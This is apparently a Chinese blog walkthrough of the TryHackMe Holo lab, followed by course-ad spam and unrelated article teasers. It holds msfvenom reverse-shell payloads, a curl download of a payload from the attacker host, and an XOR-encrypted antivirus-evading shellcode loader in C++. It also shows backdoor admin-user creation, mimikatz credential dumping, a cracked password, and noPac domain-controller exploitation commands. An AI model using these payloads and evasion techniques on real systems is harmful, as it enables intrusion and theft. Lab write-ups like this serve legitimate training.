内网渗透实录1

记录一下tryhackme的Holo的靶场完成过程。和原本作者思路和工具不太一样,用自己的思路打了一下,更加优雅方便(实际上是自己太懒了),某些自己不懂的地方部分更加细节展开。中途太忙断了好久,还断网心态崩了,有一些自己的新思路,其他都是常规操作。

端口扫描:

/TideFinger_Linux -h 10.200.112.33 -p 1-65535

似乎有个高端口是socks5的无认证代理,也许后面会有作用,先放着。按照题目继续对80的wordpress进行枚举,发现版本信息:

nuclei -tags  wordpress -u http://10.200.112.33/  -rl 10

对http://10.200.112.33/单个ip进行虚拟host发现,ffuf使用过滤FUZZ,这里可能有师傅不清楚实战中要不要fuzz这个点,实际情况是根据中间件的配置情况来看的,比方说ngnix和apache都有这个配置虚拟主机的选项,在集群部署的政府单位、或者一些需要负载均衡的场景比较常见,说人话就是如果某个网站的ip业务流量比较大,而且这个服务器性能又比较好适合做这个。

回到正题:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt  -H "Host: FUZZ.holo.live" -u http://10.200.112.33/ -fs 21456

速度很慢,速度大概在每秒50个速度,把暴力破解出来的添加到hosts文件

直接访问看看这些网站有什么有价值的东西,目录扫描看看:

从admin的扫描内可以发现robots.txt的内容比较大

访问获得绝对路径:

直接访问是403,需要配合任意文件读取获取到凭据

利用任意文件下载获取到creds.txt,因为vhost本质上是在一台机器上,所以能读取到其他的文件。

拿到密码登录:

翻阅源代码,不难看到有个被注释了的

//if ($_GET['cmd'] === NULL) { echo passthru("cat /tmp/Views.txt"); } else { echo passthru($_GET['cmd']);} -->

给到cmd参数即可执行命令:

上msf直接拿交互式shell:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.50.109.210 LPORT=9001 -f elf -o reverse.elf

curl%20http%3A%2F%2F10.50.109.210%3A8101%2Freverse.elf%20-o%20%2Ftmp%2Fagent

拿到shell

尝试提权:

exploit/linux/local/apport_abrt_chroot_priv_esc                                                                                                                                              
 exploit/linux/local/cve_2021_3493_overlayfs     
 exploit/linux/local/cve_2022_0995_watch_queue  
 exploit/linux/local/su_login

提不上去… 找一下flag,发现在/var/www

根据php里面的配置,数据库指向发现新的资产,利用账户密码去连接

用msf搭建socks代理:

proxychains mysql -u admin -p -h 192.168.100.1

因为是默认页面就直接写入就好了:

select '<?php phpinfo()?>' INTO OUTFILE '/var/www/html/test.php';

执行命令上线,再操作一波:

上传到临时文件再赋予权限执行

用的kali集成的linpeas,内容比较多,这里已经提示了suid提权,找一下:

去https://gtfobins.github.io/gtfobins/docker/找到提权的向量:

sudo install -m =xs $(which docker) .  
./docker run -v /:/mnt --rm -it alpine chroot /mnt sh

这里不是交互式的tty,所以失败了

python3 -c 'import pty; pty.spawn("/bin/bash")'

提权也可以偷个懒,再次利用suggest模块exp提权:

等待一会,即可上线,这里不得不说msf的提权真是强,特别在exp提权上,如果自己编译是会很多出错导致难以利用,互联网上的poc在不同环境都是有兼容性问题的,这里msf就已经考虑好了兼容性的问题:

读取cat /etc/shadow密码破解(实战下还是有必要去破解一下的,因为很多单位用的密码都一样,只要能破解出明文,利用明文去横向将会显得非常重要):

利用hashcat破解:

hashcat -m 1800 -a 0 hash.txt rockyou.txt

对应的明文:

$6$Zs4KmlUsMiwVLy2y$V8S5G3q7tpBMZip8Iv/H6i5ctHVFf6.fS.HXBw9Kyv96Qbc2ZHzHlYHkaHm8A5toyMA3J53JU.dc6ZCjRxhjV1:linuxrulez

拿到密码登录验证一下:linux-admin

对同网段下的ip进行扫描,发现新的资产:

整理一下扫描的信息,(从这里之后的图片因为重置了靶场与之前的ip已经改变,不过问题不大),10.200.108.35的机器名是PC-FILESRV01 ,10.200.108.30的机器名是DC-SRV01,扫描结果也显示了是域控Domain Controllers,10.200.108.31的机器名是S-SRV01,http://10.200.108.30:80

再次搭建代理,这里直接用frp,frp的稳定性人尽皆知,这里就贴一下经常使用配置就好了:

./frps -c frps.ini

[common]  
bind_port = 7000  
token = Yuzusoft  
tls_enable = true

客户端配置,实战中启用tls可以绕过态势感知、防火墙的拦截:

[common]  
token = Yuzusoft  
disable_custom_tls_first_byte = true  
server_addr = 127.0.0.1  
server_port = 7000  
tls_enable = true  
  
[socks5]  
remote_port = 5444  
plugin = socks5

搭建完毕就可以访问 http://10.200.108.31/ 了:

不晓得为什么burp出了什么问题,忍一下用浏览器来抓包,不难看出这里有个重置密码的参数让人感兴趣:

爆破用户名失败之后我重新翻找了之前mysql的数据库,找到了gurag用户:

抓包分析发现gurag的token其实已经返回在返回包,一个简单的逻辑漏洞:

之后带着这个token去访问之前的页面即可:

登录之后一个典型的前端过滤上传:

根据之前目录扫描的结果,应该在images目录下

果不其然,直接一波php上传Getshell,直接拿到system权限:

拿着进程去棱角社区进程识别看看,果然有杀毒,不过欺负一下微软的杀毒还是很轻松的:

生成木马,本来想用https,但是上不了线,只能用tcp了

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.31.41 LPORT=8888 -f raw -o test.txt

写了分离的shellcode加载器:

#include <iostream>  
#include <fstream>  
#include <vector>  
#include <Windows.h>  
  
char Key[7] = { 'Y', 'U', 'Z', 'S', 'O', 'F', 'T' };  
// 解密函数  
int keyLength = 7;  
  
void decrypt(std::vector<unsigned char>& encryptedData) {  
    int keyIndex = 0; // 初始密钥索引为0  
  
    for (size_t i = 0; i < encryptedData.size(); ++i) {  
        encryptedData[i] = encryptedData[i] ^ Key[keyIndex]; // 使用当前密钥进行异或解密  
        keyIndex = (keyIndex + 1) % keyLength; // 更新密钥索引,确保在0到6之间循环  
    }  
}  
  
  
int main() {  
  
    // 读取 shellcode 从本地已经加密的 log 文件  
    std::ifstream file("log.txt", std::ios::binary);  
    std::vector<unsigned char> shellcode;  
  
  
    if (file) {  
        file.seekg(0, std::ios::end);  
        size_t size = file.tellg();  
        shellcode.resize(size);  
  
        file.seekg(0, std::ios::beg);  
        file.read(reinterpret_cast<char*>(shellcode.data()), size);  
        file.close();  
    }  
    else {  
        std::cout << "open file fail" << std::endl;  
        return 1;  
    }  
    Sleep(35000);  
    decrypt(shellcode);  
    // 分配内存  
    LPVOID allocMem = VirtualAlloc(NULL, shellcode.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  
    if (allocMem == NULL) {  
        std::cout << "内存分配" << std::endl;  
        return 1;  
    }  
    // 将 shellcode 拷贝到分配的内存中  
    memcpy(allocMem, shellcode.data(), shellcode.size());  
    // 执行 shellcode  
    typedef void (*ShellcodeFunction)();  
    ShellcodeFunction func = (ShellcodeFunction)allocMem;  
    func();  
  
    // 释放内存  
    VirtualFree(allocMem, 0, MEM_RELEASE);  
  
    return 0;  
}

shellcode加载器本地测试免杀通过了

成功上线:

传个vt看看,20/70,算了,能用就行:

靶机一直没上线,可能是端口转发的问题,没办法了,虽然OPSEC原则上加用户是很糟糕的方法,但我这里还是加个用户登上去看看到底是怎么回事:

net user Yuzusoft XXMn9nJfUVEDx2Lk  /add  
net localgroup administrators Yuzusoft /add

登上去才发现,好吧,这是一个经典错误,报了个dll未找到的错误(后来几天后同事提点发现是编译的问题):

请原谅我直接在UI内部关掉杀毒,之前还写过python的加载器,结果虚拟机之前快照重置了,就不再这里浪费时间了:

经过一点点时间,上传木马执行上线:

转储密码哈希:

load mimikatz  
kiwi_cmd sekurlsa::logonpasswords

报错说32位的不能访问64位的进程:

这里得找个64位的进程迁移过去

migrate xxxx

没有cs那么舒服自己整理好了凭据,我们自己找一下,慢慢翻下去找到了明文用户和密码watamet和Nothingtoworry!

现在我们控制了域内的主机,有一个域用户了,还有明文密码,满足了很多域漏洞的利用条件,我就不按照官方的操作了,居然要重启主机,它的中继攻击利用条件太苛刻了,实战很难碰上:

noPac

这个其实是两个漏洞的组合利用,流行是说法是NoPAC,另一种是sam-the-admin,是CVE-2021-42278和CVE-2021-42287的组合拳,利用也很简单,跑一下脚本就打下域控了,利用条件就是要拿到一个用户的账号密码,

proxychains python3 sam_the_admin.py holo.live/watamet:Nothingtoworry! -dc-ip 10.200.107.30  -shell

可以拿到TGT,但是脚本只能打一次,不过我们依然可以拿到之前的缓存TGT去认证:

KRB5CCNAME='Administrator.ccache'  proxychains  /usr/bin/impacket-smbexec -target-ip 10.200.107.30 -dc-ip 10.200.107.30 -k  -no-pass @'dc-srv01.holo.live'

Zerologon

这个神洞就不用说了,我们已经用了太多次了,逻辑漏洞无视所有防御,这里我用mimikatz去检测:

kiwi_cmd lsadump::zerologon /target:10.200.107.30 /account:Administrator

运行显示不存在,看样子靶场已经修复了这个漏洞:

最后拿下全部靶机:

总结

都是一些常规操作,没啥难度,就是很费时间和耐心,之前断网了一次导致我要重新搭建代理,心态很炸,中间隔着省Hvv,后面攻击欲望变低懒得打了,msf好多命令都记不住,这个神器还是得认真学一下的(官方文档看的头晕),原本就能靠它一键搭代理,cs入口是linux反而局限太多,后续还得学一下sliver。打法思路就是找RCE、找数据库密码逃逸容器,之后搭建代理,做一下免杀,对着域控常规的几个漏洞伺候一下就结束了,本来还是得做一下权限维持才好,熟悉熟悉常见的权限维持对后面当红队还是蓝队都很重要。


:黑客&网络安全

在这里领取:

在这里插入图片描述

这个是我花了几天几夜自整理的最新最全网安学习资料包免费共享给你们,其中包含以下东西:

1.学习路线&职业规划

在这里插入图片描述
在这里插入图片描述

2.全套体系课&入门到精通

在这里插入图片描述

3.黑客电子书&面试资料

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/246429.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

SpringBoot接口开发

一、springboot官方demo开发 依赖包和父:pom.xml<dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.7.14</version></dependency&g…

TCP/IP详解——数据转发过程

文章目录 一、数据转发过程1. TCP封装&#xff08;传输层封装&#xff09;2. IP封装&#xff08;网络层封装&#xff09;3. 查找路由4. ARP&#xff08;数据链路层封装&#xff09;5. 以太网封装6. 数据帧转发过程7. 数据帧转发过程8. 数据包转发过程9. 数据帧解封装10. 数据包…

【Docker】WSL 2 上的 Docker 搭建和入门

▒ 目录 ▒ &#x1f6eb; 导读开发环境 1️⃣ 安装安装Docker Desktop for Windows 2️⃣ 环境配置3️⃣ hello world第一次运行再次运行分析总结 &#x1f4d6; 参考资料 &#x1f6eb; 导读 开发环境 版本号描述文章日期2023-12-14操作系统Win11 - 22H222621.2715WSL2 C:…

TypeScript【枚举、联合类型函数_基础、函数_参数说明 、类的概念、类的创建】(二)-全面详解(学习总结---从入门到深化)

文章目录 枚举 联合类型 函数_基础 函数_参数说明 类的概念 类的创建 枚举 枚举&#xff08;Enum&#xff09;类型用于取值被限定在一定范围内的场景&#xff0c;比如一周只能有七天&#xff0c;颜色限定为红绿蓝等 枚举例子 枚举使用 enum 关键字来定义 enum Days {…

uniapp框架——初始化vue3项目(搭建ai项目第一步)

文章目录 ⭐前言&#x1f496; 小程序系列文章 ⭐uniapp创建项目&#x1f496; 初始化项目&#x1f496; uni实例生命周期&#x1f496; 组件生命周期&#x1f496; 页面调用&#x1f496; 页面通讯&#x1f496; 路由 ⭐搭建首页⭐form表单校验页面⭐总结⭐结束 ⭐前言 大家好…

Chart 10 OpenCL 优化教学

文章目录 前言10.1 博客10.2 Sample Code10.2.1 算法优化10.2.2 Vectorized load/store10.2.3 image 代替 buffer 10.3 Epsilon Filter10.3.1 初始化实现10.3.2 Data pack optimization10.3.3 Vectorized load/store optimization10.3.4 Further increase workload per work it…

windows禁用系统更新

1.在winr运行框中输入services.msc&#xff0c;打开windows服务窗口。 services.msc 2.在服务窗口中&#xff0c;我们找到Windows update选项&#xff0c;如下图所示&#xff1a; 3.双击windows update服务&#xff0c;我们把启动类型改为禁用&#xff0c;如下图所示&#xff…

【网络安全】网络防护之旅 - 对称密码加密算法的实现

&#x1f308;个人主页&#xff1a;Sarapines Programmer&#x1f525; 系列专栏&#xff1a;《网络安全之道 | 数字征程》⏰墨香寄清辞&#xff1a;千里传信如电光&#xff0c;密码奥妙似仙方。 挑战黑暗剑拔弩张&#xff0c;网络战场誓守长。 目录 &#x1f608;1. 初识网络安…

服务器系统启动卡logo问题解决分析

系统版本&#xff1a;Kylin-4.0.2-server-sp4-20200808.J1-57s-xxc_01-20210112-x86_64 问题&#xff1a;系统启动一直卡在麒麟logo那里&#xff0c;进不去系统。在gurb里去掉系统启动参数quiet和splash&#xff0c;发现启动卡在如下界面。 排查&#xff1a;开始怀疑是掉电导致…

【带头学C++】----- 九、类和对象 ---- 9.12 C++之友元函数(9.12.5---9.12.7)

❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️创做不易&#xff0c;麻烦点个关注❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️ ❤️❤️❤️❤️❤️❤️❤️❤️❤️文末有惊喜&#xff01;献舞一支&#xff01;❤️❤️❤️❤️❤️❤️❤️❤️❤️❤️ 目录 补充上…

Kubernetes 容器编排 -- 1

前言 知识扩展 早在 2015 年 5 月&#xff0c;Kubernetes 在 Google 上的搜索热度就已经超过了 Mesos 和 Docker Swarm&#xff0c;从那儿之后更是一路飙升&#xff0c;将对手甩开了十几条街,容器编排引擎领域的三足鼎立时代结束。 目前&#xff0c;AWS、Azure、Google、阿里…

Vulnhub-DC-3 靶机复现完整过程

啰嗦两句&#xff1a; 提权之前完成是一个月前做的&#xff0c;当时在提权处出了点问题就搁置了&#xff0c;今天才完成&#xff0c;所以IP地址可能会会有变化 注意&#xff1a;后续出现的IP地址为192.168.200.55同样是靶机IP地址&#xff0c;若本文能有帮助到你的地方&#xf…

k8s中的Pod

目录 1.1 创建一个pod 1.2 pod是如何被创建的 1.3 创建一个单容器pod 1.4 创建一个多容器pod 1.4.1 配置节点标签 1.5 Pod容器的交互 1.5.1 创建pod&#xff0c;并做本地解析 1.5.2 pod共享进程 1.5.2 pod共用宿主机namespace Pod 是可以在 Kubernetes 中创建和管理的、…

Redis设计与实现之字典

目录 一、字典 1、 字典的应用 实现数据库键空间 用作Hash类型键的其中一种底层实现 2、字典的实现 哈希表实现 哈希算法 3、创建新字典 4、添加键值对到字典 5、添加新元素到空白字典 6、添加新键值对时发生碰撞处理 7、添加新键值对时触发了 rehash操作 Note:什么…

Java 基础学习(九)API概述、Object、String、正则表达式

1 API概述 1.1 API概述 1.1.1 什么是API API(Application Programming Interface)&#xff0c;意为&#xff1a;应用程序接口。API就是已经写好的的程序或功能&#xff0c;程序要需要时可以直接调用&#xff0c;无需再次编写。 API可以大致分为如下几类&#xff1a; 编程语…

【笔试强化】Day 2

文章目录 一、选择1.2.&#xff08;写错&#xff09;3.4.5.6.&#xff08;不会&#xff09;7.&#xff08;不清晰&#xff09;8. &#xff08;不会&#xff09;9.10.&#xff08;写错&#xff09; 二、编程1. 排序子序列解法&#xff1a;代码&#xff1a; 2. 倒置字符串解法&am…

STM32--中断使用(超详细!)

写在前面&#xff1a;前面的学习中&#xff0c;我们接触了STM32的第一个外设GPIO&#xff0c;这也是最常用的一个外设&#xff1b;而除了GPIO外&#xff0c;中断也是一个十分重要且常用的外设&#xff1b;只有掌握了中断&#xff0c;再处理程序时才能掌握好解决实际问题的逻辑思…

MyBatis之逆向工程

学习的最大理由是想摆脱平庸&#xff0c;早一天就多一份人生的精彩&#xff1b;迟一天就多一天平庸的困扰。各位小伙伴&#xff0c;如果您&#xff1a; 想系统/深入学习某技术知识点… 一个人摸索学习很难坚持&#xff0c;想组团高效学习… 想写博客但无从下手&#xff0c;急需…

IT圈茶余饭后的“鄙视链”

哈哈&#xff0c;IT圈的鄙视链&#xff0c;简直就是一出情感大戏&#xff01;这个圈子里的人们总是忍不住要互相比较&#xff0c;互相鄙视&#xff0c;仿佛这是一场刺激的游戏&#xff0c;每个人都想要站在鄙视链的最顶端&#xff0c;成为那个最牛逼的存在。 首先&#xff0c;…

uniapp开发项目注意事项

uniapp创建项目用HBuilderX创建或者用脚手架命令创建都可以vue文件渲染h5&#xff0c;小程序很好nvue文件渲染原生app更好&#xff0c;注意nvue文件css的一些局限性&#xff0c;简称坑死人nvue所支持的通用样式已在本文档中全部列出&#xff0c;一些组件可能有自定义样式&#…
最新文章